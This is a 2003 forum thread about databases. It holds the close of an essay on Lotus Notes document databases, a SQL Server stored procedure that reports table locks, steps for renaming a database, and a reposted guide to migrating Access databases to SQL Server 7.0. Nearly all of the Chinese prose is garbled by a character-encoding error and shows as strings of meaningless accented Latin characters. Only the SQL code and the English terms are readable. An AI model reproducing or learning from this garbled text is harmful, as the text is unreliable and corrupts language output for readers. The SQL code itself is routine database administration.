Notesͨ¹ýÎĵµÊý¾Ý¿âʵÏÖÁ˶àýÌåÎĵµ¹ÜÀí£¬Ö§³Ö¿Í»§»ú/·þÎñÆ÷¹¤×÷·½Ê½¡£Ã¿¸öÊý¾Ý¿ÉÒÔ°üº¬Èô¸É²»Í¬ÐÎʽµÄNotesÎĵµ¡£´æ·ÅÔÚÒ»¸ö»ò¶à¸öNotes·þÎñÆ÷ÉÏ£¬¿ÉÒÔÈÃÐí¶àÓû§´æÈ¡µÄÊý¾Ý¿â³ÆΪ¹²ÏíÊý¾Ý¿â¡£Í¨¹ýÀûÓ÷þÎñÆ÷´æÈ¡ºÍÊý¾Ý¿â´æÈ¡¿ØÖƵȰ²È«´ëÊ©£¬Êý¾Ý¿â¹ÜÀíÔ±¿ÉÒԹ涨˭¿ÉÒÔ´æÈ¡Êý¾Ý¿âºÍÔÚʲô·¶Î§ÄÚʹÓÃÊý¾Ý¿â£¬¸÷Êý¾Ý¿âÔÚÍøÉÏͨ¹ý¸´Öƹ¦ÄÜʵÏÖͬ²½¡£ÕâÑù£¬Í¨¹ýÎĵµÊý¾Ý¿âÓû§¿ÉÒÔÔÚÍøÂçÉÏ´æÈ¡¡¢×·×Ù´¢´æºÍ×éÖ¯ÐÅÏ¢¡£
ËÄ. ½áÊøÓï
¡¡¡¡×î½ü¼¸Ä꣬ÎÒ¹úµÄÊý¾Ý¿âÊг¡·ÉËÙ·¢Õ¹£¬²¢½«¾ßÓиüΪ¾Þ´óµÄÔö³¤Ç±Á¦£¬±íÏÖΪÈçÏÂÌص㣺Ê×ÏÈ,ÔÚ½üÎåÄêÀï,Óû§µÄÑ¡Ð͹ÛÄî·¢ÉúÁËÃ÷ÏԵĸıä,Óиü¶àµÄÓû§°ÑÊý¾Ý¿âµÄÖØÒªÐÔ·ÅÔÚÊ®·ÖÖØÒªµÄµØλ,ÆäÖ÷ÒªÔ­ÒòÊÇÓû§½«°ÑÓ¦ÓÃÈí¼þºÍÓ¦ÓÃÐèÇó·ÅÔÚÊ×λ,Ó¦ÓÃÈí¼þÊÇ·ñÂú×ãÓû§ÐèÇóÊÇÕû¸öÏîÄ¿ÊÇ·ñ³É¹¦µÄ±êÖ¾,¶øÓ¦ÓÃÈí¼þ¿ª·¢Ö±½ÓÒÀÀµÓÚÊý¾Ý¿â¿ª·¢¹¤¾ß¡£Êµ¼ÊÉÏ,´óÁ¿Ç±ÔÚµÄͶ×ʶ¼ÔÚÓ¦ÓÃÈí¼þµÄ¿ª·¢ÉÏ;ÁíÒ»¸öÔ­ÒòÊÇÓ²¼þËæ×ÅоƬ¼¼ÊõµÄ·¢Õ¹Ô½À´Ô½È±·¦ÌØÐÔ,Ó²¼þÖ¸±ê½«±ä³É´ÎÒªµÄ¿¼ÂÇÒòËØ¡£¶ÔÐÐÒµÐÔÓ¦ÓÃÀ´½²,ÒÔÇ°ÊÇÖƶ¨¼¸¼ÒÓ²¼þ²úÆ·×÷ΪÓÅÑ¡,¶ø½ñ¿ÉÄÜÊÇÊ×Ñ¡Êý¾Ý¿â³§¼ÒÔÙ¿¼ÂÇÓ²¼þ³§¼ÒÁË¡£ÕýÊÇÓû§ÐèÇóµÄÕâÖֱ仯¸øÊý¾Ý¿â³§ÉÌÌṩÁËеķ¢Õ¹»ú»á¡£Lotus NotesΪ¸÷Êý¾Ý¿âϵͳ¼¯³ÉÉÌÌṩÁËÇ¿´óµÄÎĵµÊý¾Ý¿â¿ª·¢Æ½Ì¨£¬Notes½áºÏÁËÆóÒµ¼¶µç×ÓÓʼþ¡¢·Ö²¼Ê½ÎĵµÊý¾Ý¿âÓë¿ìËÙÓ¦Óÿª·¢µÈÈýλһÌåµÄÇ¿´ó¼¼Êõ¡¢ÍêÈ«¼¯³ÉÁËInternet¼¼Êõ£¬ÌṩÓû§ÍêÕûµÄ£¬ÒÔÍøÂçΪÖÐÐĵÄÓ¦Óü¼Êõƽ̨¡£¿ÉÒÔÔ¤ÑÔ£¬ÔÚ²»¾ÃµÄ½«À´£¬Lotus NotesµÄÎĵµÊý¾Ý¿â½«³ÉΪ¼Ì²ã´ÎÊý¾Ý¿â¡¢Íø×´Êý¾Ý¿âºÍ¹ØϵÊý¾Ý¿âÖ®ºóµÄÓÖÒ»Èȵ㼼Êõ¡£
²Î¿¼ÎÄÏ×£º
1. ÈøʦìÓ Íõɺ¡¶Êý¾Ý¿âϵͳ¸ÅÂÛ¡·
2. ¡¶Û»ÒéÊý¾Ý¿â¼¼ÊõµÄ×îз¢Õ¹¡·£¬Î¢µçÄÔÊÀ½ç£¬1997ÄêµÚÈýÆÚ£¬"ÐÅϢʱ´ú"
×÷Õß: magicangel    ʱ¼ä: 2003-11-24 02:03
ºÃ¡£ ÐÁ¿àÁË¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-28 08:33
´æ´¢¹ý³Ì£¬²éѯ´æ´¢¹ý³ÌËùÔÚµÄÊý¾Ý¿âµÄ¶ÔÏóµÄËøסÇé¿ö£¬ÊÊÓÃÓÚms  sql  server7.0  ºÍ  ms  sql  server  2000¡£  

CREATE  PROCEDURE  dbo.usp_lock  AS  
set  nocount  on  
select              p.hostname,  
           l.req_spid  as  spid,  
               l.rsc_objid,  
           left(v.name,4)  As  Type,  
           left(u.name,8)  As  Mode,  
           left(x.name,6)  As  lockStatus,  
           p.program_name,  
           p.loginame,  
           p.status  as  status,  
           p.blocked  
into  #locks  
from              master.dbo.syslockinfo  l  
           join  (select  name,number  from  master.dbo.spt_values  v  where  type  =  'LR')  v  on  l.rsc_type  =  v.number  
           join  (select  name,number  from  master.dbo.spt_values  v  where  type  =  'L')    u  on  l.req_mode  +  1  =  u.number  
           join  (select  name,number  from  master.dbo.spt_values  v  where  type  =  'LS')  x  on  l.req_status  =  x.number  
           join  master.dbo.sysprocesses  p  on  l.req_spid=p.spid  
where      l.rsc_dbid=db_id()   
               and  l.rsc_objid>0  

select    l.hostname,  
           l.spid,  
               isnull(o.name,'  ')  as  objname,  
           l.Type,  
           l.Mode,  
           l.lockStatus,  
           l.program_name,  
           l.loginame,  
           l.status,  
               l.blocked,   
               isnull(p.hostname,'  ')  as  blockhostname,  
               isnull(p.program_name,'  ')  as  blockprogram  
from    #locks  l  
         join  sysobjects  o  on  l.rsc_objid=o.id   
         left  join  master.dbo.sysprocesses  p  on  l.blocked=p.spid  
order  by  o.name,l.hostname  

drop  table  #locks  
GO
×÷Õß: wollaston    ʱ¼ä: 2003-11-28 12:04
±êÌâ: ²»ºÃÒâ˼
Ö±½ÓÊղأ¬Ð»Ð»£¡
²»ÏÓÆúµÄ»°£¬µ½ÎÒÕâÀïµÄʱºòÎÒÇëÄãÃ×Î÷Ã×Î÷¡£

»¹ÓÐÎҵĻظ´³É¹¦ÂÊÌ«µÍ¡£

90%¶¼ÌáʾÎÒûÓÐÖ¸¶¨thread
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-28 12:10
±êÌâ: Re: ²»ºÃÒâ˼
×î³õÓÉ wollaston ·¢²¼
[B]Ö±½ÓÊղأ¬Ð»Ð»£¡
²»ÏÓÆúµÄ»°£¬µ½ÎÒÕâÀïµÄʱºòÎÒÇëÄãÃ×Î÷Ã×Î÷¡£

»¹ÓÐÎҵĻظ´³É¹¦ÂÊÌ«µÍ¡£

90%¶¼ÌáʾÎÒûÓÐÖ¸¶¨thread [/B]


Ã×Î÷Ã×Î÷,ÔÛϲ»¶£¬ÄÇ£¿
×÷Õß: wangyuzhen    ʱ¼ä: 2003-11-28 14:48
±êÌâ: ËøÎÊÌâ
¾õµÃËøÎÊÌâÔÚÎÒÃÇÕâÀïûÓбíÏÖ£¬ÒòΪÎÒÃÇÓõÄPowerBuilderÔÚÌá½»ÐÞ¸Äʱ¿ÉÒÔ´øÉÏwhereÌõ¼þ£¬Ö¸¶¨±»ÐÞ¸Ä×ֶαØÐëºÍÉϴηÃÎÊʱµÄÖµÒ»Ö²ſÉÒÔ¡£
ÁíÍâ¾õµÃÄǸöÀý×ÓÓÐÎÊÌ⣬ΪʲôҪÌá½»25,000£¿¶ø²»ÊÇ£º´æ¿îÓà¶î+5000£¿
×÷Õß: liyunet    ʱ¼ä: 2003-12-1 16:59
±¾ÈËÓиöÎÊÌâÇë½Ì£¬ÎÒ¹«Ë¾Êý¾Ý¿âÊÇSQL2000µÄ£¬ÔËÐÐÖо­³£ÌáʾËø±í£¬ÎÒÿ´ÎÓÃSELECT * FROM SYSPROCESSES ²éѯռÊý¾Ý¿âµÄ½ø³Ì£¬È»ºóKILLµô£¬µ«ÊÇЧ¹û²»ÊǺܺã¬ÇëÎÊÓÐʲôºÃµÄ·½·¨£¬Äܹ»ÓÐЧ½â¾öÎÊÌâ¡£
×÷Õß: ³Â³Â    ʱ¼ä: 2003-12-2 10:06
±êÌâ: UPUPUP
UPUPUP
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-4 12:16
ÐÞ¸ÄÊý¾Ý¿âÃû³Æ£º

¹ØµôÆóÒµ¹ÜÀíÆ÷µÈ£¬Ö»Áôϲéѯ·ÖÎöÆ÷£¬±£Ö¤Ã»ÓÐÆäËûÓû§µÄÁ¬½ÓºÍÓÐsysadmin½ÇÉ«µÄȨÏÞ¡£ÏÈÉèÖÃÊý¾Ý¿âΪµ¥Óû§Ä£Ê½£º

sp_dboption 'database_name', 'single user','true'

exec sp_renamedb 'old_database_name','new_database_name'

È»ºó»Ö¸´Îª¶àÓû§Ä£Ê½£º

sp_dboption 'database_name', 'single user','false'
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-6 22:21
½«AccessÊý¾Ý¿âÒÆÖ²µ½Microsoft SQL Server 7.0
feyo.6to23.com  2002-6-7  ·ÉÔ¾ÈÏÖ¤×ÊÔ´


ÕªÒª£º±¾ÎÄÃèÊöÁ˽«AccessÊý¾Ý¿âת»»µ½SQL Server Êý¾Ý¿âµÄ¹ý³ÌºÍ¹¤¾ß

¼ò½é

Ëæ×ÅÓû§¶ÔÓÚÆóÒµ¼¶¸ßÐÔÄÜÊý¾Ý¿âµÄÐèÇóµÄÔö³¤£¬Óû§Ê±³£Òª´ÓMicrosoft Access JetÒýÇæµÄÎļþ-·þÎñÆ÷»·¾³ÏÂת»»µ½
Microsoft SQL ServerµÄ¿Í»§-·þÎñÆ÷»·¾³¡£Microsoft Office 2000ÖеÄAccess 2000 Upsizing Wizard¿ÉʵÏÖ½«Êý¾Ý±íºÍ
²éѯתÒƵ½SQL Server 7.0ÖС£Èç¹ûÄúÓõÄÊÇAccessµÄ½ÏÔçµÄ°æ±¾£¬Äú¿ÉÒÔÏȽ«ËüÉý¼¶ÎªAccess 2000£¬È»ºóÔÙʹÓÃÆäÖеÄ
Upsizing Wizard£¬´Ó¶ø½«ÄúµÄÓ¦ÓÃÒÆÖ²µ½SQL ServerÖС£

Èç¹ûÄú²¢²»Ì«Ô¸Òâ²ÉÓÃAccess 2000 ºÍUpsizing WizardÀ´ÊµÏÖÒÆÖ²£¬±¾ÎÄ¿ÉÒÔ×÷Ϊ½«Access 2000ÒÆÖ²µ½SQL ServerµÄÒ»
¸öÖ¸ÄÏ¡£×ªÒÆÒ»¸öAccessÉϵÄÓ¦ÓÃÊ×ÏÈÐèÒª½«Êý¾ÝתÒƵ½SQL Server£¬È»ºó½«²éѯתÒƽøÊý¾Ý¿â£¬»òÊÇתÒÆΪSQLÎļþÒÔ±¸
ÉÔºóÖ´ÐС£×îºóÒª²ÉÈ¡µÄ²½ÖèÊÇÒÆÖ²Ó¦ÓóÌÐò¡£

Êý¾Ý¿âÒÆÖ²ÖÐÓõ½µÄSQL Server ¹¤¾ß

SQL Server¹ÜÀíÆ÷£¨SQL Server Enterprise Manager£©

SQL Server¹ÜÀíÆ÷ ÔÊÐí¶ÔSQL ServerÒÔ¼°SQL ServerÖеĶÔÏó½øÐÐÆóÒµ¼¶µÄÅäÖú͹ÜÀí¡£SQL Server¹ÜÀíÆ÷Ìṩһ¸öÇ¿ÓÐ
Á¦µÄschedulingÒýÇ棬¸ß¶ÈµÄÈÝ´íÁ¦ºÍÒ»¸öǶÈëʽµÄ¸´ÖƹÜÀí½çÃ档ʹÓÃSQL Server¹ÜÀíÆ÷¿ÉÒÔʵÏÖÒÔϹ¦ÄÜ£º

¹ÜÀíÁ¬½ÓºÍÓû§Ðí¿É

´´½¨½Å±¾³ÌÐò

¹ÜÀíSQL Server¶ÔÏóµÄ±¸·Ý

±¸·ÝÊý¾ÝºÍÊÂÎñ´¦ÀíÈÕÖ¾

¹ÜÀí±í¡¢ÊÓͼ¡¢´æ´¢¹ý³Ì¡¢´¥·¢Æ÷¡¢Ë÷Òý¡¢¹æÔò¡¢Ä¬ÈÏÖµÒÔ¼°Óû§¶¨ÒåµÄÊý¾ÝÀàÐÍ

½¨Á¢È«Îı¾Ë÷Òý¡¢Êý¾Ý¿âͼ±íºÍÊý¾Ý¿âά»¤¼Æ»®

ÊäÈëºÍÊä³öÊý¾Ý

ת»»Êý¾Ý

Ö´Ðи÷ÖÖÍøÂç¹ÜÀíÈÎÎñ

ÔÚÒÔMicrosoft Windows NTΪ²Ù×÷ϵͳµÄ¼ÆËã»úÖУ¬SQL Server ManagerÓÉSQL Server Setup½øÐа²×°£¬²¢±»Ä¬ÈÏΪ·þÎñ
Æ÷×é¼þ£¬¶øÔÚÔËÐÐ×ÅWindows NT ºÍMicrosoft Windows 95µÄ»úÆ÷ÉÏ£¬Ëü½«±»Ä¬ÈÏΪ¿Í»§·½×é¼þ¡£Äú½«´ÓSQL Server
ManagerµÄͼÐÎÓû§½çÃæÖÐÆô¶¯Êý¾ÝתÒÆ·þÎñ£¨DTS£¬Data Transformation Services£©¡£

Êý¾ÝתÒÆ·þÎñ£¨Data Transformation Services £¬DTS)

Êý¾ÝתÒÆ·þÎñÔÊÐíÄúÔÚ¶àÖÖÒì¹¹Êý¾ÝÔ´Ö®¼äÊäÈëºÍÊä³öÊý¾Ý£¬ÕâЩÊý¾ÝÔ´²ÉÓûùÓÚÊý¾Ý¿âµÄOLEÌåϵ½á¹¹£»»òÔÚʹÓÃSQL
Server 7.0µÄ¶à¸ö¼ÆËã»úÖ®¼äתÒÆÊý¾Ý¿âºÍÊý¾Ý¿â¶ÔÏó£»Äú»¹¿ÉÒÔͨ¹ýÔËÓÃÊý¾ÝתÒÆ·þÎñ£¬¸ü±ã½ÝµØÔÚÒ»¸öÔÚÏßÊÂÎñ´¦Àí
ϵͳ£¨OLTP£©Öн¨Á¢Êý¾Ý²Ö¿âºÍÊý¾ÝÖÐÐÄ¡£

DTS WizardÔÊÐíÄú½»»¥µØ´´½¨DTS°ü£¬Í¨¹ýOLE DBºÍODBCÀ´ÊäÈë¡¢Êä³ö¡¢ÑéÖ¤ºÍתÒÆÊý¾Ý¡£DTS Wizard»¹ÔÊÐíÄúÔÚ¹ØϵÐÍÊý
¾Ý¿âÖ®¼ä¿½±´Í¼½â£¨schema£©ºÍÊý¾Ý¡£

SQL Server ²éѯ·ÖÎöÆ÷£¨Query Analyzer£©

SQL Server ²éѯ·ÖÎöÆ÷ÊÇÒ»ÖÖͼÐλ¯µÄ²éѯ¹¤¾ß£¬Í¨¹ýËüÄú¿ÉÒÔ·ÖÎöÒ»¸ö²éѯ£¬Í¬Ê±Ö´Ðжà¸ö²éѯ£¬²é¿´Êý¾ÝºÍ»ñÈ¡Ë÷Òý
½¨Òé¡£SQL Server ²éѯ·ÖÎöÆ÷ÌṩÁËshowplanÑ¡Ï¿ÉÓÃÀ´ÏÔʾSQL Server²éѯÓÅ»¯Æ÷ËùÑ¡ÔñµÄÊý¾ÝÌáÈ¡·½·¨¡£

SQL Server Profiler

SQL Server Profiler¿ÉÒÔʵʱµØ²¶»ñÊý¾Ý¿â·þÎñÆ÷»î¶¯µÄÁ¬Ðø¼Ç¼¡£SQL Server ProfilerÔÊÐíÄú¼à¿ØSQL Server²úÉúµÄ
ʼþ£¬¹ýÂË»ùÓÚÓû§Ö¸¶¨±ê×¼µÄʼþ£¬»ò½«²Ù×÷²½ÖèÊä³öµ½ÆÁÄ»¡¢Îļþ»òÊý¾Ý±í¡£ÔËÓÃSQL Server Profiler£¬Äú¿ÉÒÔÖØÐÂ
Ö´ÐÐËù²¶»ñµÄÉÏÒ»´Î²Ù×÷¡£ÕâÖÖ¹¤¾ß¿ÉÒÔ°ïÖúÓ¦ÓóÌÐò¿ª·¢Õßʶ±ðÄÇЩ¿ÉÄܻήµÍÓ¦ÓóÌÐòÐÔÄܵÄÊÂÎñ´¦Àí¡£ÔÚ½«Ò»¸ö»ù
ÓÚÎļþÌåϵ½á¹¹µÄÓ¦ÓóÌÐòÒÆÖ²µ½¿Í»§/·þÎñÆ÷½á¹¹ÖÐʱ¸ÃÌØÐÔÊǺÜÓÐÓõģ¬ÒòΪËüµÄ×îºóÒ»²½°üÀ¨¶ÔÃæÏòеĿͻ§/·þÎñ
Æ÷»·¾³µÄÓ¦ÓóÌÐò½øÐÐÓÅ»¯¡£

תÒƱíºÍÊý¾Ý

ʹÓÃDTS Wizard½«ÄúµÄAccessÊý¾ÝתÒƵ½SQL Server£¬¿É²ÉÈ¡ÒÔϲ½Ö裺

ÔÚ SQL Server Manager£¨Enterprise Manager£©µÄ¹¤¾ß²Ëµ¥ÖУ¬Êó±êÖ¸Ïò¡°Data Transformation Services¡±, È»ºóµã»÷
¡°Import Data.¡±

ÔÚ¡°Ñ¡ÔñÊý¾ÝÔ´¡±£¨ Choose a Data Source£©µÄ¶Ô»°´°¿ÚÖУ¬Ñ¡ÔñMicrosoft AccessΪÊý¾ÝÔ´£¬È»ºóÊäÈëÄúµÄ£®mdbÎļþ
Ãû£¨mdbΪÎļþÀ©Õ¹Ãû£©»òÕßÑ¡Ôñä¯ÀÀÎļþ¡£

ÔÚ¡°Ñ¡ÔñÊý¾ÝÄ¿±ê¡±£¨Choose a Destination£©µÄ¶Ô»°´°¿ÚÖУ¬Ñ¡Ôñ¡°Microsoft OLE DB Provider for SQL Server¡±£¬
ÔÙÑ¡ÔñºÃÊý¾Ý¿â·þÎñÆ÷£¬È»ºóµã»÷ËùÐèµÄÈÏ֤ģʽ¡£

ÔÚ¡°Ö¸¶¨±í±¸·Ý»ò²éѯ¡±£¨ Specify Table Copy or Query£©µÄ¶Ô»°´°¿ÚÖУ¬µã»÷¡°¿½±´±í¡±£¨Copy tables£©¡£

ÔÚ¡°Ñ¡ÔñÊý¾ÝÔ´¡±µÄ¶Ô»°´°¿ÚÖУ¬µã»÷¡°Ñ¡ÔñËùÓÐÏ£¨ Select All£©¡£

ÒÆÖ²Microsoft Access²éѯ

Äú¿ÉÒÔ½«AccessµÄ²éѯÒÔÏÂÃæµÄ¸ñʽ֮һתÒÆÖÁSQL ServerÖУº

ÊÂÎñ´¦ÀíSQL½Å±¾³ÌÐò£¨Transact-SQL scripts £©

ÊÂÎñ´¦ÀíSQLÓï¾äͨ³£ÊÇÓÉÊý¾Ý¿â³ÌÐòµ÷Óõģ¬µ«ÊÇÄúÒ²¿ÉÒÔʹÓÃSQL Server 7.0Öаüº¬µÄSQL Server ²éѯ·ÖÎöÆ÷Ö±½ÓÔË
ÐÐËüÃÇ¡£SQL Server ²éѯ·ÖÎöÆ÷¿É°ïÖú¿ª·¢Õß²âÊÔÊÂÎñ´¦ÀíSQLÓï¾ä£¬»òÔËÐÐÄÇЩִÐвéѯ´¦Àí¡¢Êý¾Ý²Ù×÷£¨²åÈ룬ÐÞ
¸Ä£¬É¾³ý£©ºÍÊý¾Ý¶¨Ò壨´´½¨±í£©µÄÊÂÎñ´¦ÀíSQLÓï¾ä¡£

´æ´¢¹ý³Ì£¨Stored procedures £©

¿ª·¢Õß¿ÉÒÔ½«´ó²¿·Ö²úÉú×ÔAccess²éѯ£¨²éÕÒ£¬²åÈ룬Ð޸ģ¬É¾³ý£©µÄÊÂÎñ´¦ÀíSQLÓï¾äתÒÆÖÁ´æ´¢¹ý³Ì¡£ÓÃÊÂÎñ´¦ÀíSQL
Óï¾äÊéдµÄ´æ´¢¹ý³Ì¿ÉÒÔÓÃÀ´¶ÔÄúµÄÊý¾Ý´æÈ¡´ò°ü£¬²¢Ê¹Ö®±ê×¼»¯£¬¶øÇÒ´æ´¢¹ý³Ìʵ¼ÊÉÏÊÇ´æ´¢ÔÚÊý¾Ý¿âÖеġ£´æ´¢¹ý³Ì
¿ÉÒÔ´ø²ÎÊý£¬Ò²¿É²»´ø²ÎÊý£¬¿ÉÒÔÓÉÊý¾Ý¿â³ÌÐòµ÷ÓûòÕßÓÉSQL Server²éѯ·ÖÎöÆ÷ÊÖ¶¯Ö´ÐС£

ÊÓͼ£¨Views £©

ÊÓͼÊÇ´ÓÒ»¸ö»ò¶à¸ö±íÖÐÏÔʾÌض¨µÄÐкÍÁеÄÐéÄâ±í¡£ËüÃÇÔÊÐíÓû§¿ÉÒÔ²»Ö±½ÓÖ´Ðй¹³É²éѯ»ù´¡µÄ¸´ÔÓÁ¬½Ó¶ø½¨Á¢²é
ѯ¡£ÊÓͼ²»Ö§³Ö²ÎÊýµÄʹÓá£Á¬½Ó¶à¸öÊý¾Ý±íµÄÊÓͼ²»ÄÜÓÃINSERT, UPDATE»ò DELETEÓï¾äÀ´Ð޸ġ£ÊÓͼÓÉÊÂÎñ´¦ÀíSQLÓï
¾äµ÷Óã¬Ò²¿ÉÓÃÓÚSQL Server²éѯ·ÖÎöÆ÷ÖÐÔËÐеijÌÐò¶Î¡£SQL ServerÊÓͼºÍSQL-92±ê×¼²»Ö§³ÖÊÓͼÖеÄORDER BYÅÅÐò×Ó
¾ä¡£ÈçÓûÁ˽âÊÂÎñ´¦ÀíSQL£¬´æ´¢¹ý³ÌºÍÊÓͼµÄÆäËûÐÅÏ¢£¬Çë²ÎÔÄSQL Server ÔÚÏ߲ο¼Êé¡£

Access²éѯÀàÐ͵ÄSQL ServerÒÆֲѡÔñÓ뽨Òé

Ò»¸öSELECTÓï¾ä¿ÉÒÔ´æ´¢ÔÚÊÂÎñ´¦ÀíSQLÎļþ¡¢´æ´¢¹ý³Ì»òÊÇÊÓͼÖС£½¨Á¢´æ´¢¹ý³ÌÊǽ«Êý¾Ý¿âÓ¦Óÿª·¢ÓëÊý¾Ý¿âÉè¼ÆµÄÎï
Àíʵʩ·Ö¿ªµÄ×î¼Ñ·½·¨¡£´æ´¢¹ý³Ì¿ÉÔÚÒ»´¦´´½¨¶øÓÉÓ¦ÓóÌÐòµ÷Óá£

Èç¹û´æ´¢¹ý³ÌËù»ùÓÚµÄÊý¾Ý¿â±ä»¯ÁË£¬¶ø´æ´¢¹ý³Ì¾­¹ý×ÐϸµÄÐÞ¸ÄÒÔ·´Ó¦ÕâЩ±ä»¯£¬Ôò¶Ô´æ´¢¹ý³ÌµÄµ÷Óý«²»»áÊܵ½ÆÆ
»µ¡£

½»²æ±í£¨CROSSTAB£©

½»²æ±í¾­³£ÓÃÓÚ×ܽᱨ±í¡£

Ò»¸öAccessµÄ½»²æ±í¿ÉÒÔͨ¹ýSQL³ÌÐò¶Î¡¢´æ´¢¹ý³Ì»òÊÓͼÖеÄÊÂÎñ´¦ÀíSQLÓï¾äÀ´Ö´ÐС£Ã¿µ±·¢³öÒ»¸ö²éѯʱ£¬Êý¾ÝÁ¬½Ó
±»ÖØÏÖÖ´ÐÐÒÔÈ·±£×î½üµÄÊý¾ÝµÃµ½Ê¹Óá£

¸ù¾Ýʵ¼ÊÓ¦ÓÃÇé¿ö£¬±È½ÏºÏÊʵķ½·¨Êǽ«½»²æ±íÖеÄÊý¾Ý´æ´¢ÎªÒ»¸öÁÙʱ±í£¨²Î¿¼ÏÂÃæµÄMAKE TABLE£©£¬ÁÙʱ±í¶Ô×ÊÔ´µÄ
ÐèÇó±È½ÏÉÙ£¬µ«ÊÇÁÙʱ±íÔÚ½¨Á¢µÄͬʱֻÌṩ¶ÔÊý¾ÝµÄÒ»¸ö¿ìÕÕ£¨snapshot£©¡£

´´½¨±í£¨MAKE TABLE£©

AccessÖеġ°MAKE TABLE¡±£¨ ´´½¨±í£©¿ÉÒÔͨ¹ýÊÂÎñ´¦ÀíSQL½Å±¾³ÌÐò»ò´æ´¢¹ý³ÌÖеÄÊÂÎñ´¦ÀíSQLÓïÑԵĽ¨±íÓï¾ä
¡°CREATE TABLE¡±À´Ö´ÐС£Óï·¨ÈçÏÂËùʾ£º

SELECT [ ALL | DISTINCT ]

[ {TOP integer | TOP integer PERCENT} [ WITH TIES] ]

<select_list>

[ INTO new_table ]

[ FROM {<table_source>} [,¡­n] ]

[ WHERE <search_condition> ]

[ GROUP BY [ALL] group_by_expression [,¡­n]

[ WITH { CUBE | ROLLUP } ]

CREATE TABLE mytable (low int, high int)

UPDATE£¨Ð޸ģ©

UPDATEÓï¾ä¿ÉÒÔ´æ´¢ÔÚÊÂÎñ_SQL½Å±¾³ÌÐòÖУ¬È»¶ø±È½ÏºÃµØÖ´ÐÐUPDATEÓï¾äµÄ·½·¨ÊÇ´´½¨Ò»¸ö´æ´¢¹ý³Ì¡£

APPEND£¨Ìí¼Ó£©

ALLENDÓï¾ä¿ÉÒÔ´æ´¢ÔÚÊÂÎñ_SQL½Å±¾³ÌÐòÖУ¬È»¶ø±È½ÏºÃµØÖ´ÐÐAPPENDÓï¾äµÄ·½·¨ÊÇ´´½¨Ò»¸ö´æ´¢¹ý³Ì¡£

ÒÆÖ²Microsoft AccessµÄ²éѯµ½´æ´¢¹ý³ÌºÍÊÓͼ

ÿ¸öAccess²éѯ¶¼±ØÐëÓÃÒÔϵÄһϵÁÐÓï¾äÌæ»»£º

CREATE PROCEDURE <NAME_HERE> AS

< SELECT, UPDATE, DELETE, INSERT, CREATE TABLE statement from Microsoft Access >

GO

CREATE VIEW <NAME_HERE> AS

<Place (SELECT only, with no parameters) Microsoft Access Query>

GO

¶Ôÿ¸öAccess²éѯӦִÐУº

´ò¿ªAccess£¬È»ºóÔÚSQL ServerÖУ¬´ò¿ªSQL Server²éѯ·ÖÎöÆ÷¡£

ÔÚAccessµÄÊý¾Ý¿â´°¿ÚÖеã»÷¡°Queries¡±tab¼ü£¬È»ºóµã»÷¡°Design¡±°´Å¥¡£

ÔÚ¡°View¡±²Ëµ¥Éϵã»÷¡°SQL¡±°´Å¥¡£

½«Õû¸ö²éѯճÌùµ½SQL Server²éѯ·ÖÎöÆ÷ÖС£

²âÊÔÓï·¨£¬±£´æÊÂÎñ´¦ÀíSQLÓï¾äÒÔ±¸ºóÓ㬻òÕßÔÚÊý¾Ý¿âÖÐÖ´ÐÐÕâЩÓï¾ä¡£Äú¿ÉÒÔÑ¡Ôñ½«ÊÂÎñ´¦ÀíSQLÓï¾ä±£´æµ½Ò»¶Î½Å
±¾³ÌÐòÖС£

ÒÆÖ²Microsoft Access²éѯµ½ÊÂÎñ´¦ÀíSQLÓï¾ä

´ó²¿·ÖµÄAccess²éѯӦ¸Ãת»»³É´æ´¢¹ý³ÌºÍÊÓͼ¡£È»¶ø£¬ÓÐһЩӦÓóÌÐò¿ª·¢Õß²»Ì«³£ÓõÄÓï¾ä¿ÉÒԴ洢ΪÊÂÎñ´¦ÀíSQL½Å
±¾£¬Ò»ÖÖÒÔsqlΪÎļþÀ©Õ¹ÃûµÄÎı¾Îļþ¡£ ÕâЩÎļþ¿ÉÒÔÔÚSQL Server²éѯ·ÖÎöÆ÷ÖÐÔËÐС£

Èç¹ûÄú´òË㽫һЩAccess²éѯת»»ÎªsqlÎļþµÄ»°£¬¿ÉÒÔ¿¼ÂǸù¾ÝËüÃÇʹÓõķ½Ê½ÓÐÇø±ðµØ½«ÕâЩÊÂÎñ´¦ÀíSQLÓï¾ä·Ö±ð·Å
ÔÚ¼¸¸ö½Å±¾³ÌÐòÖС£ÀýÈ磬Äú¿ÉÒÔ½«±ØÐëÒÔͬÑùƵÂÊÔËÐеÄÊÂÎñ´¦ÀíSQLÓï¾ä¹éÀൽͬһ¸ö½Å±¾ÖС£ÁíÒ»¸ö½Å±¾ÖÐÔòÓ¦°üº¬
ËùÓÐÖ»ÔÚijЩÌõ¼þÏÂÔËÐеÄÊÂÎñ´¦ÀíSQLÓï¾ä¡£´ËÍ⣬±ØÐëÒÔÒ»¶¨Ë³ÐòÖ´ÐеÄÊÂÎñ´¦ÀíSQLÓï¾äÓ¦µ±¹éÀൽһ¸ö²»Á¬ÐøµÄ½Å
±¾ÖС£

½«AccessÓï¾äתÒƵ½ÊÂÎñ´¦ÀíSQL Îļþ

½«Óï¾ä¿½±´µ½SQL Server²éѯ·ÖÎöÆ÷ÖÐ

ʹÓÃÀ¶É«µÄ¶àÑ¡Ïîͼ±ê·ÖÎöÓï¾ä

ÔÚÊʵ±Ê±ºòÖ´ÐиÃÓï¾ä

ÒªÖ´ÐÐAccessÖеĴ´½¨±í£¨MAKE TABLE£©µÄ²éѯÈÎÎñµÄ¿ª·¢ÕßÔÚSQL ServerÖÐÓм¸ÖÖÑ¡Ôñ¡£¿ª·¢Õß¿É´´½¨ÏÂÁжÔÏóÖ®Ò»£º

Ò»¸öÊÓͼ

ÊÓͼ¾ßÓж¯Ì¬µÄÐéÄâ±íµÄЧ¹û£¬¿ÉÌṩ×î½üµÄÐÅÏ¢¡£ÕâÊÇÒ»¸öÊäÈë/Êä³öÇ¿»¯Æ÷£¬ÒòΪÿµ±·¢³öÒ»¸ö²éѯʱËü¶¼ÒªÇó¶ÔÊý¾Ý
±íÖØÏÖ½¨Á¢Á¬½Ó¡£

Ò»¸öÁÙʱ±í

